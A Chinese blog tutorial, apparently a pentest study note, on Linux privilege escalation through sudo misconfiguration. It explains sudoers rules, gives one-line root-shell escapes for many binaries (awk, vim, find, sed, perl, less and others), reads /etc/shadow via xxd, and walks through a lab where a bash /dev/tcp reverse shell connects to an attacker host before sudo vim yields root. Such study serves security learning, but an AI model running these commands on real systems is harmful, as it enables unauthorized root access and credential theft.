[权限提升] Linux 提权 & 维持 — 系统错误配置提权 - Sudo 滥用提权

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:Sudo 滥用提权原理

Sudo 是一个 Linux 系统管理命令,它允许系统管理员授予普通用户以指定身份执行指定命令的权限。该命令不仅减少了 Root 用户的登录时间和管理时间,同时也提高了系统安全性。

在一些应用场景中,为了方便运维人员以低权限账号进行运维,往往会开启账号的一些 SUDO 权限给运维账号,而 SUDO 权限的授予则是在 /etc/sudoers 文件中进行操作。

0x0101:Sudo 基础 --- Sudo 权限的授予

授予 Sudo 权限是在 /etc/sudoers 文件中以特定格式编辑规则授予的,所以我们需要先来了解一下编辑的规则:

bash 复制代码
 username ALL=(ALL) NOPASSWD: /usr/bin/awk
 ​
 # username => 被授予 Sudo 权限的用户
 # ALL=     => 表示允许从任何终端访问 sudo
 # (ALL)    => 运行身份,ALL 表示可以以任意身份执行命令,不仅仅是 root 哦,不过默认是 root
 # NOPASSWD: => 可选,添加上了表示执行后面的命令不需要密码
 # /usr/bin/awk => 表示可以被 sudo 运行的命令

下面是一些常见的 Sudo 权限授予的示例:

bash 复制代码
 # 允许用户 alice 以任意身份(默认 root)运行所有的命令(需要密码)
 alice ALL=(ALL) ALL
 ​
 # 允许用户组 wheel 中的用户以任意身份运行所有命令
 %wheel ALL=(ALL) ALL
 ​
 # 允许用户 bob 以 root 身份运行特定命令
 bob ALL=(ALL) /usr/bin/vi, /usr/bin/ls
 ​
 # 允许用户 bob 以 www-data 身份运行特定命令,不需要密码
 bob ALL=(www-data) NOPASSWD: /usr/bin/awk

0x0102:Sudo 基础 --- 查看当前用户可以用 Sudo 执行的命令

可以使用下面两条命令中的任意一条查看当前用户可以用 Sudo 执行的命令:

bash 复制代码
 cat /etc/sudoers # 这个需要权限,我们一般查看不了
 sudo -l          # 这个命令有时候不用密码也能运行

不过呢,可惜的是,这两条命令都需要一定的权限或者知道当前用户的密码:

不过笔者测试了一下,sudo -l 这个命令好像被授予了 Sudo 权限的用户执行是可以直接查看内容的,不用输入密码,上面的 defender 用户笔者在测试时是没有授予任何 Sudo 权限的:

0x02:Sudo 滥用提权姿势

Sudo 提权的原理与之前讲解的 [[Linux 提权 & 维持 --- 系统错误配置提权 - SUID 文件提权|SUID 文件提权]] 有异曲同工之妙,都是结合权限与命令的特性进行提权。下面是笔者收集的一些可以进行 Sudo 提权的命令,如果 Sudo 配置文件中配置了 ALL 或者以下命令就可以进行提权:

bash 复制代码
 apt、awk、bash、cat、ed、env、ftp、find、git、less、man、perl、pip、scp、screen、sed、tar、taskset、time、tmux、vi、vim、wget、xxd、zip

0x0201:awk --- Sudo 提权姿势

bash 复制代码
 sudo awk 'BEGIN {system("/bin/sh")}'

0x0202:vim --- Sudo 提权姿势

bash 复制代码
 sudo vim -c '!sh'

0x0203:xxd --- Sudo 提权姿势

xxd 命令有些特殊,无法直接拿到一个 Root 权限的 Shell,但是可以查看 shadow 文件,然后通过爆破拿到 Root 密码后进行提权:

bash 复制代码
 sudo xxd "/etc/shadow" | xxd -r

0x0204:env --- Sudo 提权姿势

bash 复制代码
 sudo env /bin/sh

0x0205:perl --- Sudo 提权姿势

bash 复制代码
sudo perl -e 'exec "/bin/sh";'

0x0206:zip --- Sudo 提权姿势

bash 复制代码
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"

0x0207:sed --- Sudo 提权姿势

bash 复制代码
sudo sed -n '1e exec sh 1>&0' /etc/passwd

0x0208:find --- Sudo 提权姿势

bash 复制代码
sudo find /etc/passwd -exec /bin/sh \;

0x0209:git --- Sudo 提权姿势

1. git --- Sudo 提权环境配置

首先以 Root 身份登录 Linux 系统中,编辑 /etc/sudoers 文件,添加下面这行内容,为 test01 用户赋予 git 的无密码运行 Sudo 权限(需要用 :wq! 退出编辑):

bash 复制代码
test01  ALL=(ALL)       NOPASSWD: /usr/bin/git

2. git --- Sudo 提权姿势教程

git 的 Sudo 提权比较特别,需要使用两条命令(后面还有几条命令用法与 git 是一样的)。切换到 test01 用户,输入下面的命令:

bash 复制代码
sudo git help config

然后键盘再输入下面的命令进行提权:

bash 复制代码
!/bin/sh

0x0210:ftp --- Sudo 提权姿势

ftp 命令的提权方式与前面介绍的 git 类似,也是两条命令:

bash 复制代码
sudo ftp 
!/bin/sh

0x0211:less --- Sudo 提权姿势

less 命令的提权方式与前面介绍的 git 类似,也是两条命令:

bash 复制代码
sudo less /etc/hosts 
!sh

0x0212:ed --- Sudo 提权姿势

ed 命令的提权方式与前面介绍的 git 类似,也是两条命令:

bash 复制代码
sudo ed 
!/bin/sh

0x0213:man --- Sudo 提权姿势

man 命令的提权方式与前面介绍的 git 类似,也是两条命令:

bash 复制代码
sudo man man 
!/bin/sh

0x03:Sudo 滥用提权实战

复现环境

  • 靶机 CentOS 7:IP 192.168.0.137

  • 攻击机 Kali Linux:IP 192.168.0.136

0x0301:拿到靶机低权限用户 Shell

提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:

bash 复制代码
nc -lvp 7777

然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:

bash 复制代码
bash -i >&/dev/tcp/192.168.0.136/7777 0>&1

此时回到 Kali 攻击机,可以看到靶机直接上线:

0x0302:查看当前用户可以执行 Sudo 的命令

输入下面的命令查看当前用户可以使用 Sudo 执行的命令:

bash 复制代码
sudo -l

如上,发现 Vim 可以使用 Sudo 执行,且不需要输入密码。

0x0303:Sudo 提权

使用前面介绍的对应命令的 Sudo 提权姿势进行提权:

bash 复制代码
sudo vim -c '!sh'
相关推荐
用户962377954484 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机7 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机7 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954489 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star9 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544812 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透5 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全